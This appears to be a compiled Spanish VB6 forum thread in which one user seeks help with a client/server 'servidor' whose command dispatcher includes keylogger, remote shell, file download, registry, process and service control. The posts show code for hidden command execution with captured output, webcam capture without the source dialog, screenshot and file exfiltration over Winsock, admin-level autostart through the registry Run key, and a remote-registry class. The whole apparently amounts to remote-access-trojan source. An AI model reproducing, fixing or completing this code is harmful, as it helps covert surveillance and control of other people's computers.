Si el problema es que no sale nada ni siquiera se ejecuta, has hecho la prueba con cualquier aplicacion en el arranque que necesite privilegios de administrador?

Un saludo! 

Hola buenas, como me borraron el mensaje del tema este pues he decidido crear uno nuevo.
La cuestion es que tengo un archivo con el manifesto con niveles para administrador "requireAdministrator", la falla de este al nivel "asInvoker" es que si añado el archivo al arranque del sistema de windows en la clave Run del registro no inicia, en cambio si lo pongo como invoker si inicia. ¿Hay alguna manera de iniciarlo como administrador cuando se reinicie el sistema?

Un saludo! 

Hola a ver si alguien me hecha una mano tengo este codigo para ejecutar y leer la salida de los comandos en windows, se ejecutan y se ven perfectamente en versiones de XP hasta windows 7 he probado.. ahora en windows 8 y 10 crashea en un loop :

   Do
       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
   Loop While ret <> 0
 

 
Public Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
 
Public Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
 
Public Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
 
Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
 
 
 
Public Type PROCESS_INFORMATION
  hProcess     As Long
  hThread      As Long
  dwProcessId  As Long
  dwThreadId   As Long
End Type
 
Public Type STARTUPINFO
  cb                As Long
  lpReserved        As Long
  lpDesktop         As Long
  lpTitle           As Long
  dwX               As Long
  dwY               As Long
  dwXSize           As Long
  dwYSize           As Long
  dwXCountChars     As Long
  dwYCountChars     As Long
  dwFillAttribute   As Long
  dwFlags           As Long
  wShowWindow       As Integer
  cbReserved2       As Integer
  lpReserved2       As Long
  hStdInput         As Long
  hStdOutput        As Long
  hStdError         As Long
End Type
 
Public Type SECURITY_ATTRIBUTES
  nLength                As Long
  lpSecurityDescriptor   As Long
  bInheritHandle         As Long
End Type
 
 
 
Public Function CMD(ByVal Comando As String) As String
On Error Resume Next
   Dim proc           As PROCESS_INFORMATION
   Dim ret            As Long
   Dim start          As STARTUPINFO
   Dim sa             As SECURITY_ATTRIBUTES
   Dim hReadPipe      As Long
   Dim hWritePipe     As Long
   Dim lngBytesRead   As Long
   Dim strBuff        As String * 256
 
   sa.nLength = Len(sa)
   sa.bInheritHandle = 1&
   sa.lpSecurityDescriptor = 0&
   ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)
 
   If ret = 0 Then CMD = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError: Exit Function
 
   start.cb = Len(start)
   start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
   start.hStdOutput = hWritePipe
   start.hStdError = hWritePipe
 
   mCommand = Environ("COMSPEC") + " /c " + Comando
 
   ret& = CreateProcessA(0&, mCommand, sa, sa, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
 
   If ret <> 1 Then CMD = "Archivo o comando no encontrado": Exit Function
 
   ret = CloseHandle(hWritePipe)
   mOutputs = ""
 
   ' CRASHEA En versiones mayores a Windows 7
   If InStr(1, SO, "Windows 8") Or InStr(1, SO, "Windows 10") Then Exit Function
 
   Do
       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
   Loop While ret <> 0
   ret = CloseHandle(proc.hProcess)
   ret = CloseHandle(proc.hThread)
   ret = CloseHandle(hReadPipe)
 
   CMD = mOutputs
 
   Exit Function
End Function
 
 

A ver si alguien lo puede probar quizas puede ser por otra cosa! un saludo!

Es un codigo sencillo, es para capturar la camara web, lo que quiero saber es como evitar que salga el dialogo para seleccionar el source de la camara, obtenerlo por otro medio el source y seleccionarlo de una forma diferente, la linea que muestra el dialogo es la siguiente :

SendMessage mCapHwnd, 1034, 0, 0

El codigo solo necesita un picturebos y un timer para que lo prueben.

Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
 
Private mCapHwnd As Long
Private Sub Form_Load()
STARTCAM
End Sub
 
Private Sub Timer1_Timer()
SendMessage mCapHwnd, 1084, 0, 0
SendMessage mCapHwnd, 1054, 0, 0
Picture1.Picture = Clipboard.GetData
End Sub
 
Sub STARTCAM()
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 640, 480, Me.hwnd, 0)
'DoEvents
SendMessage mCapHwnd, 1034, 0, 0
End Sub
 
 

Un saludo y espero algunas ideas!

Perdon por el doble post pero para no crear un tema nuevo, he aqui la cuestion estoy haciendo la captura de escritorio remoto, en el emulador de VB6 los datos se envian muy bien y completos (a veces) pero el problema viene cuando creo el archivo servicio en binario sin usar el depurador de vb.. la captura se crea bien en la carpeta temporal pero no me llega bien al cliente..

SERVIDOR :

Public Function Capturar_Pantalla()
    On Error Resume Next
        Dim i_Buff      As String * 8024
        Dim f_Name      As String
        Dim Largo       As Long
        Dim i_Todo      As String
 
        nCaptura = nCaptura + 1
        FF = FreeFile
        Clipboard.Clear
 
        frmEspecifico = Split(Data(2), "/S/")(0)
        f_Name = nCaptura
 
        Set frmMain.pScreenShot.Picture = CaptureScreen()
        If frmMain.pScreenShot.Picture <> 0 Then
                SavePictureAsJPG frmMain.pScreenShot, Environ$("Temp") & "\" & f_Name & ".jpg", 85
 
                DoEvents
 
                Open Environ$("Temp") & "\" & f_Name & ".jpg" For Binary As FF
                    Do While Not EOF(FF)
                        DoEvents
                        Get FF, , i_Buff
                        Largo = LOF(FF)
                        eDatos = "/S/|CapturarPantalla|" & i_Buff & "|$--$|" & f_Name & "|$--$|" & Largo & "|$--$|" & frmEspecifico & "|$--$|"
                        Call sDatos(eDatos)
                    Loop
                Close FF
 
                'Kill Environ$("Temp") & "\" & f_Name & ".jpg"
        End If
End Function
 

CLIENTE :

Public Function Capturar_Pantalla()
   'On Error Resume Next
 
   Dim fData()       As String
   Dim f_Name        As String
   Dim f_Len         As Long
   Dim uIP           As String
   Dim uName         As String
 
 
 
  FF = FreeFile
 
  fData = Split(Replace$(Datos, "/S/|CapturarPantalla|", ""), "|$--$|")
  Archivo = Archivo + fData(0)
  f_Name = fData(1) & ".jpg"
  f_Len = fData(2)
  frmEspecifico = fData(3)
 
  uIP = Split(frmEspecifico, "/")(1)
  uName = Replace(Split(frmEspecifico, " Administrando a ")(1), "/" & uIP, "")
 
  Create_Folders (uName)
 
  If Len(Archivo) >= f_Len Then
    For i = 1 To TotalVentanas
            For z = 1 To frmMain.LV.ListItems.Count
                With frmFunciones(i)
                  If .Caption = frmEspecifico Then
                        .PBScreen.Value = 60
 
                        Open App.Path & "\Usuarios\" & uName & "\" & f_Name For Binary As FF
                                   Put FF, , Archivo
                        Close FF
 
                        Archivo = ""
 
                        frmFunciones(i).picScreen = Nothing
                        frmFunciones(i).picScreen = LoadPicture(App.Path & "\Usuarios\" & uName & "\" & f_Name)
                        frmFunciones(i).picScreen.ScaleMode = 3
                        frmFunciones(i).picScreen.AutoRedraw = True
                        frmFunciones(i).picScreen.PaintPicture frmFunciones(i).picScreen.Picture, 0, 0, frmFunciones(i).picScreen.ScaleWidth, frmFunciones(i).picScreen.ScaleHeight
                        If .cGuardarCaptura.Value = 0 Then Kill App.Path & "\Usuarios\" & uName & "\" & f_Name
                        .PBScreen.Value = 100
                  End If
                End With
            Next z
    Next i
  End If
End Function
 

El envio de datos esta dentro de un loop porque la verdad no se otra forma de partir el archivo y recoger los datos.
A veces los datos del array fdata() se me mezclan con el contenido de la imagen pero me parece raro porque en el vb6 va bien.

Una imagen

Un saludo y espero una respuesta!

Por ejemplo con el envio de imagenes por la captura de pantalla..

/S/|CapturarPantalla|BM6 <     6 ........... CONTENIdO dE LA IMAGEN ...... y lo siguientes delimitadores desaparecen

eso es lo que recibo en el cliente despues de tomar la captura y enviarla desde el servidor.

MODIFICADO :

Alguien que se anime a hacer una funcion de partir el archivo por partes?.. cliente servidor. Venga yo se que a leandro o alguno de ustedes Pro en VB no les cuesta nada hacerlo en un momentito, lo encesito urgente para terminar un proyecto que vengo haciendo desde años pasados!.

Saludos!

Chicos, necesito ayuda para transferir un archivo a tra vez de winsock he aqui el codigo :

Cliente :

Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
  WS(Index).GetData Datos
 
  If String(Len(Datos), Chr(0)) <> "" Then tDatos = tDatos & Datos
 
  If InStr(1, tDatos, "/S/") Then
    Data = Split(tDatos, "|")
    tDatos = ""
 
    Select Case Data(1)
      Case "Conexion":      Call vConexion(Index)
      Case "Informacion":   Call vInformation
      Case "Procesos":      Call vProcess
      Case "ActualizarP":   Call vAProcess
      Case "sServicios":    Call vServices
      Case "ActualizarS":   Call vAServices
      Case "Conexiones":    Call vConexiones
      Case "ActualizarA":   Call vAAdaptadores
      Case "ObtenerWebs":   Call vOWebs
      Case "TcpUdp":        Call vTcpUdp
      Case "Keylogger":     Call vKeylogger
      Case "Shell":         Call vShell
      Case "RefrescarWnd":  Call vRWind
      Case "Chat":          Call vChat
      Case "lstDrivers":    Call vlDrivers
      Case "lstFiles":      Call vlFiles
      Case "ErrorServidor": Call vEServer
      Case "sRegistro":     Call vRegistro
      Case "Keylogger":     Call vKeylogger
      Case "dwnFile":       Call dwnFile
    End Select
  End If
End Sub

Public Function dwnFile()
  Dim aBuff         As String
  Dim Archivo       As String
 
  FF = FreeFile
  Archivo = Data(3)
 
        If Dir(App.Path & "\Descargas", vbDirectory) = "" Then MkDir (App.Path & "\Descargas")
        Open App.Path & "\Descargas\" & Archivo For Binary As FF
                aBuff = Space(LOF(FF))
                Get FF, , aBuff
        Close FF
 
        Open App.Path & "\Descargas\" & Archivo For Binary As FF
                Put FF, , aBuff + Data(2)
        Close FF
 
        For i = 1 To TotalVentanas
            For z = 1 To frmMain.LV.ListItems.Count
                With frmFunciones(i)
                 If .Caption = Data(4) Then
                        MsgBox "Se ha descargado el archivo correctamente!", vbInformation, frmFunciones(i).Caption
                 End If
                End With
            Next z
        Next i
End Function

Servidor :

Public Function dwFile()
 On Error GoTo Err
  Dim aBuff       As String
  Dim xBuff       As String
  Dim cPacks      As String
 
  frmEspecifico = Data(3)
  FF = FreeFile
 
  Open Data(2) For Binary As FF
    aBuff = Space(LOF(FF))
    Get FF, , aBuff
  Close FF
 
  cPacks = CInt(Len(aBuff) / 8192) '8192
  If InStr(1, cPacks, ",") Then If Split(cPacks, ",")(1) > 0 Then cPacks = Split(cPacks, ",")(0) + 1
  If Len(aBuff) > 8192 And cPacks > 0 Then
        For i = 0 To cPacks
            If i > 0 Then xBuff = Mid(aBuff, (i * 8192) - 1, Len(aBuff)) Else xBuff = Mid(aBuff, 1, Len(aBuff))
            If frmMain.WS.State = 7 Then frmMain.WS.SendData "/S/|dwnFile|" & xBuff & "|" & Split(Data(2), "\")(UBound(Split(Data(2), "\"))) & "|" & frmEspecifico
        Next i
  End If
 
Err: If Err.Number > 0 Then frmMain.WS.SendData "|ErrorServidor|" & Err.Number & "|"
End Function

En la linea del cliente Archivo = Data(3) me sale contenido del archivo en vez de salirme el nombre del archivo como la mando desde el servidor, ya probe con diferentes delimitadores para ver si era los simples "|"  pero no ..

Alguien me puede poner un ejemplo sencillo sobre como hacer una descarga y una subida de archivos?.. o que ven mal en el code?

Un saludo! si hace falta mas codigo lo pongo.

---

Alguien que me ayude con el envio de archivos de mas de X bytes?..
Necesito un ejemplo, quien se anima?..

Un saludo!

MOD EDIT: No hacer doble post.

Ya logre hacerlo funcionar el modulo, es bastante sencillo la verdad le tenia que haber metido mas tiempo para verlo
Perdonen tema cerrado.

Sobre este proyecto

Leandro no se donde utilizas los eventos del modulo de clase del Registro. No veo ninguna llamada a los EnumValues etc en el codigo solo veo esto

                Case 4
                    RegistryID = WinSock32.WsConnect(ServerIP, ServerPuerto, True)
 
                    If RegistryID <> 0 Then
 
                        Dim cRemoteReg As ClsRemoteRegistry
                        Set cRemoteReg = New ClsRemoteRegistry
                        cRemoteReg.ID_Connection = RegistryID
                        cColl.Add cRemoteReg, CStr(RegistryID)
 
                        WinSock32.SendData RegistryID, 6 & Delimiter & Cmd(1)
 

Modulo del registro :

Option Explicit
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegRestoreKey Lib "advapi32.dll" Alias "RegRestoreKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal dwFlags As Long) As Long
Private Declare Function RegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal lpSecurityAttributes As Long) As Long
Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
 
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As Luid) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, ByVal PreviousState As Long, ByVal ReturnLength As Long) As Long
 
Private Const ERROR_SUCCESS = 0&
Private Const ERROR_FILE_NOT_FOUND = 2&
 
Private Const KEY_QUERY_VALUE = &H1&
Private Const KEY_SET_VALUE = &H2&
Private Const KEY_CREATE_SUB_KEY = &H4&
Private Const KEY_ENUMERATE_SUB_KEYS = &H8&
Private Const KEY_NOTIFY = &H10&
Private Const KEY_CREATE_LINK = &H20&
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const WRITE_OWNER = &H80000
Private Const SYNCHRONIZE = &H100000
Private Const STANDARD_RIGHTS_REQUIRED = &HF0000
Private Const STANDARD_RIGHTS_READ = READ_CONTROL
Private Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Private Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Private Const STANDARD_RIGHTS_ALL = &H1F0000
Private Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY
Private Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY
Private Const KEY_EXECUTE = KEY_READ
Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Private Const REG_FORCE_RESTORE = &H8
Private Const TOKEN_ADJUST_PRIVLEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Const SE_RESTORE_NAME = "SeRestorePrivilege"
Private Const SE_BACKUP_NAME = "SeBackupPrivilege"
 
Private Type Luid
    lowpart As Long
    highpart As Long
End Type
 
Private Type LUID_AND_ATTRIBUTES
    pLuid As Luid
    Attributes As Long
End Type
 
Private Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    Privileges(1) As LUID_AND_ATTRIBUTES
End Type
 
Public Enum rcMainKey
    HKEY_CLASSES_ROOT = &H80000000
    HKEY_CURRENT_USER = &H80000001
    HKEY_LOCAL_MACHINE = &H80000002
    HKEY_USERS = &H80000003
    HKEY_PERFORMANCE_DATA = &H80000004
    HKEY_CURRENT_CONFIG = &H80000005
    HKEY_DYN_DATA = &H80000006
End Enum
 
Public Enum rcRegType
    REG_NONE = 0
    REG_SZ = 1
    REG_EXPAND_SZ = 2
    REG_BINARY = 3
    REG_DWORD = 4
    REG_DWORD_LITTLE_ENDIAN = 4
    REG_DWORD_BIG_ENDIAN = 5
    REG_LINK = 6
    REG_MULTI_SZ = 7
    REG_RESOURCE_LIST = 8
    REG_FULL_RESOURCE_DESCRIPTOR = 9
    REG_RESOURCE_REQUIREMENTS_LIST = 10
End Enum
 
Public Event SearchFound(ByVal key As String, ByVal Value As String, ByVal RegType As rcRegType, ByVal Data As Variant)
 
Private m_hToken        As Long
Private m_TP            As TOKEN_PRIVILEGES
 
Private hKey             As Long
Private mKey             As Long
Private sKey             As String
Private mFindInKey      As Boolean
Private mFindInValue    As Boolean
Private mFindInData     As Boolean
Private mStrSearch      As String
Private bCancelSearch   As Boolean
Private m_bDoEvents     As Boolean
 
Public Sub SetSearchOption(ByVal sSearch As String, ByVal FindInKey As Boolean, ByVal FindInValue As Boolean, ByVal FindInData As Boolean, Optional ByVal CallDoEvents As Boolean)
    mStrSearch = sSearch
    mFindInKey = FindInKey
    mFindInValue = FindInValue
    mFindInData = FindInData
    m_bDoEvents = CallDoEvents
End Sub
 
Public Sub CancelSearch()
    bCancelSearch = True
End Sub
 
Public Sub StarSearch(ByVal sPath As String)
    Dim i As Long
    Dim ArrKeys() As Variant
    bCancelSearch = False
    If sPath = vbNullString Then
        ArrKeys = Array("HKEY_CLASSES_ROOT", "HKEY_CURRENT_USER", "HKEY_LOCAL_MACHINE", "HKEY_USERS", "HKEY_CURRENT_CONFIG")
        For i = 0 To 4
            If bCancelSearch Then Exit Sub
            If m_bDoEvents Then DoEvents
            PvFindInValueAndData ArrKeys(i)
            PvFindInKeys ArrKeys(i)
        Next
    Else
        PvFindInValueAndData sPath
        PvFindInKeys sPath
    End If
End Sub
 
Private Sub PvFindInKeys(ByVal sPath As String)
    Dim lCount As Long
    Dim sKeys() As String
    Dim sCurPath As String
    Dim i As Long
 
    lCount = EnumKeys(sPath, sKeys)
 
    If lCount Then
        For i = 0 To lCount - 1
            sCurPath = sPath & "\" & sKeys(i)
 
            If mFindInKey Then
                If InStr(sKeys(i), mStrSearch) Then
                    RaiseEvent SearchFound(sCurPath, vbNullString, REG_NONE, vbNull)
                End If
            End If
 
            If (mFindInValue = True) Or (mFindInData = True) Then
                PvFindInValueAndData sCurPath
            End If
 
            If bCancelSearch Then Exit Sub
            If m_bDoEvents Then DoEvents
            PvFindInKeys sCurPath
        Next
    End If
 
End Sub
 
Private Sub PvFindInValueAndData(sPath)
    Dim lCount As Long
    Dim sValue() As String
    Dim lRegType() As Long
    Dim sData() As Variant
    Dim i As Long
    Dim bFind As Boolean
 
    lCount = EnumValues(sPath, sValue, lRegType, sData, True)
 
    For i = 0 To lCount - 1
        If bCancelSearch Then Exit Sub
        If mFindInValue Then
            If InStr(sValue(i), mStrSearch) Then
                RaiseEvent SearchFound(sPath, sValue(i), lRegType(i), sData(i))
                bFind = True
            Else
                bFind = False
            End If
        End If
 
        If mFindInData Then
           If Not bFind Then
                If InStr(sData(i), mStrSearch) Then
                    RaiseEvent SearchFound(sPath, sValue(i), lRegType(i), sData(i))
                End If
            End If
        End If
    Next
End Sub
 
Public Function CreateKey(ByVal sPath As String) As Boolean
    hKey = GetKeys(sPath, sKey)
 
    If (RegCreateKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        RegCloseKey mKey
        CreateKey = True
    End If
End Function
 
Public Function KillKey(ByVal sPath As String) As Long
    Dim sKeys() As String, nKeys As Long, i As Long
 
    nKeys = EnumKeys(sPath, sKeys)
    If nKeys > 0 Then
        For i = 0 To nKeys - 1
            KillKey sPath & "\" & sKeys(i)
        Next i
    End If
 
    hKey = GetKeys(sPath, sKey)
 
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        KillKey = (RegDeleteKey(mKey, "") = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
 
End Function
 
Public Function KeyExists(ByVal sPath As String) As Boolean
    hKey = GetKeys(sPath, sKey)
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        KeyExists = True
        RegCloseKey mKey
    End If
End Function
 
 
Function RenameKey(ByVal sKeySource As String, ByVal sNewName As String) As Boolean
    Dim hKeySource As Long
    Dim hKeyDestination As Long
    Dim sFile As String
 
    On Error GoTo ErrHandler
 
    sNewName = Mid(sKeySource, 1, InStrRev(sKeySource, "\")) & sNewName
    hKey = GetKeys(sNewName, sKey)
    sNewName = sKey
    hKey = GetKeys(sKeySource, sKey)
 
    SetBackupAndRestorePriviliges
    sFile = Environ$("Temp") & "\TempReg.reg"
    If Len(Dir(sFile)) > 0 Then Kill sFile
 
    If (RegOpenKey(hKey, sKey, hKeySource) = ERROR_SUCCESS) Then
        If (RegSaveKey(hKeySource, sFile, 0&) = ERROR_SUCCESS) Then
            If (RegOpenKey(hKey, sNewName, hKeyDestination) = ERROR_FILE_NOT_FOUND) Then
                If KillKey(sKeySource) = True Then
                    If (RegCreateKey(hKey, sNewName, hKeyDestination) = ERROR_SUCCESS) Then
                        RenameKey = (RegRestoreKey(hKeyDestination, sFile, REG_FORCE_RESTORE) = ERROR_SUCCESS)
                    End If
                End If
                RegCloseKey hKeyDestination
            End If
        End If
        RegCloseKey hKeySource
    End If
 
    ResetBackupAndRestorePriviliges
    If Len(Dir(sFile)) > 0 Then Kill sFile
ErrHandler:
 
End Function
 
Public Function EnumKeys(ByVal sPath As String, ByRef key() As String) As Long
    Dim sName As String, RetVal As Long
 
    hKey = GetKeys(sPath, sKey)
 
    Erase key
 
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
 
        Do
            sName = String(255, vbNullChar)
            RetVal = Len(sName)
 
            If (RegEnumKeyEx(mKey, EnumKeys, sName, RetVal, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) <> ERROR_SUCCESS) Then Exit Do
 
            ReDim Preserve key(EnumKeys)
            key(EnumKeys) = Left$(sName, RetVal)
 
            EnumKeys = EnumKeys + 1
 
        Loop
 
        RegCloseKey mKey
    Else
        EnumKeys = -1
    End If
End Function
 
Public Function HaveSubKey(ByVal sPath As String) As Boolean
    Dim sName As String, RetVal As Long
 
    hKey = GetKeys(sPath, sKey)
 
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        sName = String(255, 0)
        RetVal = Len(sName)
        HaveSubKey = (RegEnumKeyEx(mKey, 0, sName, RetVal, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
End Function
 
Public Function CreateValue(ByVal sPath As String, ByVal sName As String, ByVal nType As rcRegType) As Boolean
    hKey = GetKeys(sPath, sKey)
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        CreateValue = (RegSetValueEx(mKey, sName, 0, nType, 0&, 0&) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
End Function
 
Public Function KillValue(ByVal sPath As String, ByVal sName As String) As Boolean
 
    hKey = GetKeys(sPath, sKey)
 
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        KillValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
 
End Function
 
Public Function ValueExists(ByVal sPath As String, ByVal sName As String) As Boolean
 
    hKey = GetKeys(sPath, sKey)
 
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        ValueExists = (RegQueryValueEx(mKey, sName, 0&, 0&, ByVal 0&, 0&) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
 
End Function
 
Public Function RenameValue(ByVal sPath As String, ByVal sName As String, ByVal sNewName As String) As Boolean
    Dim lLenBuff As Long
    Dim bData() As Byte
    Dim lType As Long
 
 
    hKey = GetKeys(sPath, sKey)
 
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        If RegQueryValueEx(mKey, sName, 0, lType, ByVal 0&, lLenBuff) = ERROR_SUCCESS Then
           If lLenBuff Then
                ReDim bData(lLenBuff - 1)
                If (RegQueryValueEx(mKey, sName, 0, REG_BINARY, bData(0), lLenBuff) = ERROR_SUCCESS) Then
                    If RegSetValueEx(mKey, sNewName, 0, lType, bData(0), lLenBuff) = ERROR_SUCCESS Then
                        RenameValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
                    End If
                End If
            Else
                If (RegSetValueEx(mKey, sNewName, 0, lType, 0&, 0&) = ERROR_SUCCESS) Then
                    RenameValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
                End If
            End If
        End If
        RegCloseKey mKey
    End If
End Function
 
Public Function EnumValues(ByVal sPath As String, ByRef sValue() As String, ByRef lRegType() As Long, ByRef vData() As Variant, Optional ByVal ReturnString As Boolean) As Long
    Dim sValueName As String
    Dim LenName As Long
    Dim LenData As Long
    Dim Index As Long
    Dim EnuRegType As rcRegType
 
 
    Erase sValue
    Erase vData
    Erase lRegType
 
    hKey = GetKeys(sPath, sKey)
 
    If hKey = 0 Then EnumValues = -1: Exit Function
 
    If RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS Then
 
        Do
            sValueName = String(255, vbNullChar)
            LenName = Len(sValueName)
 
            If (RegEnumValue(mKey, Index, ByVal sValueName, LenName, 0, EnuRegType, ByVal 0&, LenData) = ERROR_SUCCESS) Then
                sValueName = Left$(sValueName, LenName)
                ReDim Preserve sValue(Index)
                ReDim Preserve vData(Index)
                ReDim Preserve lRegType(Index)
 
                sValue(Index) = sValueName
                lRegType(Index) = EnuRegType
 
                Select Case EnuRegType
                    Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
                        Dim sData As String
                        If LenData > 0 Then
                            sData = String(LenData - 1, vbNullChar)
                            Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ByVal sData, LenData)
                            vData(Index) = sData
                        Else
                            vData(Index) = vbNullString
                        End If
 
                    Case REG_DWORD
                        Dim lVal As Long
                        lVal = 0
                        Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, lVal, 4)
                         vData(Index) = lVal
                    Case REG_BINARY
                        Dim ArrData() As Byte
                        If LenData > 0 Then
                            If ReturnString Then
                                sData = String(LenData, vbNullChar)
                                Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ByVal sData, LenData)
                                vData(Index) = sData
                            Else
                                ReDim ArrData(LenData - 1)
                                Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ArrData(0), LenData)
                                vData(Index) = ArrData
                            End If
                        End If
 
                End Select
 
                Index = Index + 1
            Else
                Exit Do
            End If
        Loop
 
        RegCloseKey hKey
        EnumValues = Index
    Else
        EnumValues = -1
    End If
 
End Function
 
Public Function ReadValue(ByVal sPath As String, ByVal sName As String, Optional vDefault As Variant = vbNullChar) As Variant
    Dim LenData As Long
    Dim EnuRegType As rcRegType
 
 
    hKey = GetKeys(sPath, sKey)
 
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
 
        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal 0&, LenData) = ERROR_SUCCESS) Then
 
            Select Case EnuRegType
                Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
                    Dim sData As String
                    If LenData > 0 Then
                        sData = String$(LenData - 1, vbNullChar)
                        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal sData, LenData) = ERROR_SUCCESS) Then
                            ReadValue = sData
                        Else
                            ReadValue = CStr(vDefault)
                        End If
                    Else
                        ReadValue = vbNullString
                    End If
 
                Case REG_DWORD
                    Dim lVal As Long
 
                    If (RegQueryValueEx(mKey, sName, 0, EnuRegType, lVal, 4) = ERROR_SUCCESS) Then
